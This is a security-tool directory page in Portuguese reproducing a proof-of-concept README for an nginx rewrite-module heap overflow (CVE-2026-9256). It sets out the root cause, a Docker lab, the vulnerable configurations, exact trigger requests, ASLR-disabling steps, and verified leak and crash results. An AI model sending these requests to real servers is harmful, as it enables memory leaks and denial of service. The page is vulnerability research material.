Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-9256-Poc — Demonstra o estouro de buffer no heap CVE-2026-9256 no ngx_http_rewrite_module do nginx com scripts de PoC para vazamentos de heap/libc e travamento do worker. | Kitploit
Ferramentas/GitHubGitHub/3nou9h/cve-2026-9256-poc
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoSegurança WebAprendizado e EducaçãoExploração de Binários
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

Demonstra o estouro de buffer no heap CVE-2026-9256 no ngx_http_rewrite_module do nginx com scripts de PoC para vazamentos de heap/libc e travamento do worker.

Ver Repositório
314há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Estouro de Buffer de Heap no módulo nginx ngx_http_rewrite_module

Descrição

nginx Plus e nginx Open Source ngx_http_rewrite_module contém uma vulnerabilidade de estouro de buffer de heap. Quando uma diretiva rewrite usa uma regex com múltiplos grupos de captura PCRE sobrepostos (ex.: ^/((.*))$) e uma substituição referenciando múltiplas capturas (ex.: $1&y=$2), o cálculo do tamanho do buffer de caminho estático subestima o espaço necessário, fazendo com que a gravação real exceda o tamanho alocado (Pool Slip).

Um atacante não autenticado pode acionar isso por meio de uma solicitação HTTP maliciosa, resultando em um estouro de buffer de heap no processo worker. Quando o ASLR está desabilitado ou pode ser contornado, a execução de código é possível.

Causa Raiz

Arquivo: src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // BUG: escape overhead counted once for the entire URI
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // raw length
    }
}

Cada $N é escapado independentemente durante a cópia (ngx_http_script.c:1397-1401). Capturas aninhadas fazem com que a mesma substring seja escapada duas vezes, dobrando o custo do escape, mas a alocação só considera isso uma vez.

Fórmula de estouro (aninhamento de 2 camadas ((.+)), Q caracteres + na URI):

root@kitploit:~
allocated = code_size + 2*Q + 2*(Q+1)
actual    = code_size + 2*(3*Q + 1)
overflow  = 2*Q  (precisely controllable)

Condições de acionamento (todas as três necessárias):

Ambiente de Teste

Requisitos

  • Docker (com docker compose)
  • Python 3 (sem dependências de terceiros)

Estrutura de Diretórios

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # Baseado em nginx:1.31.0
│   ├── docker-compose.yml         # Configuração do contêiner (SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR ativado (padrão)
│   ├── entrypoint_aslr_off.sh     # ASLR desativado (para libc_leak)
│   └── nginx.conf                 # Configuração vulnerável
├── heap_leak.py                   # PoC heap_leak
├── libc_leak.py                   # PoC libc_leak
├── crash_verify.py                # PoC crash_verify
├── LICENSE
└── README.md

Construir e Executar

root@kitploit:~
cd env/

# Baixar imagem base (~200MB)
docker pull nginx:1.31.0

# Construir e iniciar
docker compose up --build -d

# Verificar
curl -s http://127.0.0.1:19321/
# Esperado: ok

Comandos Comuns

root@kitploit:~
# Visualizar logs do nginx (info de falha)
docker compose logs -f

# Parar e remover
docker compose down

# Reiniciar (após falha)
docker compose restart

ASLR

Verificar estado atual:

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = desativado, 1 = parcial, 2 = completo

heap_leak e crash_verify funcionam independentemente de ASLR. libc_leak requer ASLR desativado no host:

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

Alternativamente, desative o ASLR apenas para o processo nginx (nenhum privilégio de host necessário): copie entrypoint_aslr_off.sh sobre entrypoint.sh e, em seguida, docker compose up --build -d.

Nota: os contêineres compartilham o kernel do host. randomize_va_space deve ser definido no host.

Resultados Verificados

Vazamento de Ponteiro de Heap

Configuração necessária:

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

Mecanismo: Pool Slip faz com que ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) caia na zona de estouro. Os campos inicializados do mecanismo de script (e->ip, e->sp, e->request) vazam para a string de consulta da URI reescrita e são refletidos via return 200 "$arg_y".

Solicitação:

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

Resultado verificado (nginx:1.31.0, ASLR ativado):

root@kitploit:~
e->ip      = 0x00006544dec82430  (array de códigos do pool de configuração)
e->sp      = 0x00006544dec5ada0  (pilha de script do pool de solicitação)
e->request = 0x00006544dec58880  (estrutura de solicitação)

O que vaza: Ponteiros brutos de heap dentro do espaço de endereço do worker nginx.

PoC: heap_leak.py


Vazamento de Ponteiro de Intervalo libc

Configuração necessária:

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # deve ser acessível
    add_header X-Leak-Y "$arg_y" always;
}

Mecanismo: proxy_pass aciona a inicialização upstream. Estruturas upstream contendo ponteiros de função de biblioteca são alocadas na zona de estouro. add_header "$arg_y" escreve os bytes brutos no cabeçalho de resposta.

Solicitação:

root@kitploit:~
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0

Resultado verificado (nginx:1.31.0, ASLR desativado, request_pool_size=7920):

root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346

O que vaza: Um ponteiro bruto na faixa 0x7f... (região de carga libc). Para calcular a base libc, leia /proc/<pid>/maps no alvo e calcule leaked_ptr - libc_base.

Dependência de ASLR: Esta etapa requer ASLR desativado. O ponteiro vazado se origina dos metadados do chunk liberado (fd/bk → main_arena). Com ASLR ativado, o deslocamento do chunk liberado varia e pequenos estouros não podem alcançá-lo de forma confiável.

PoC: libc_leak.py


Alternativa mais simples: Usando o modo redirect (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), o cabeçalho Location expõe diretamente os bytes brutos de estouro sem problemas de codificação de caracteres. Uma única solicitação pode vazar ponteiros de heap (Q=10~450) ou acionar uma falha (Q >= 500), sem necessidade de proxy_pass ou pool_size especial.


Falha do Worker (DoS)

Configuração necessária:

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

Mecanismo: Aninhamento de 9 camadas produz estouro = 16Q (vs. 2Q para 2 camadas). Com request_pool_size=7920, Q=123 sai do limite do bloco do pool, sobrescrevendo os metadados do chunk malloc adjacente. glibc detecta corrupção e encerra o worker. O master reinicia automaticamente.

Solicitação:

root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

Resultado verificado (nginx:1.31.0, request_pool_size=7920):

root@kitploit:~
Q=122: normal response  (overflow=1952B)
Q=123: no response, nginx error.log:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.

Aninhamento vs pool_size: N camadas produzem estouro = (N-1)*2*Q. O pool_size padrão=4096 com aninhamento de 9 camadas é suficiente para falhar. Pool_size maior requer menos camadas para um dado Q.

PoC: crash_verify.py

Executando as PoCs

root@kitploit:~
# Etapa 1: Vazamento de ponteiro de heap
python3 heap_leak.py 127.0.0.1 19321

# Etapa 2: Vazamento de ponteiro de intervalo libc (requer ASLR desativado)
python3 libc_leak.py 127.0.0.1 19321

# Etapa 3: Falha DoS
python3 crash_verify.py 127.0.0.1 19321

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso não autorizado é proibido.

Baixar ferramenta
CondiçãoDetalhe
Nenhuma variável nomeada, sem $N duplicadoCaminho estático (sc.variables==0 && !sc.dup_capture)
Grupo de captura aninhado na regexex.: ((.+)) faz $1 e $2 corresponderem ao mesmo conteúdo
+ ou %XX na URIAciona o caminho de escape (plus_in_uri ou quoted_uri)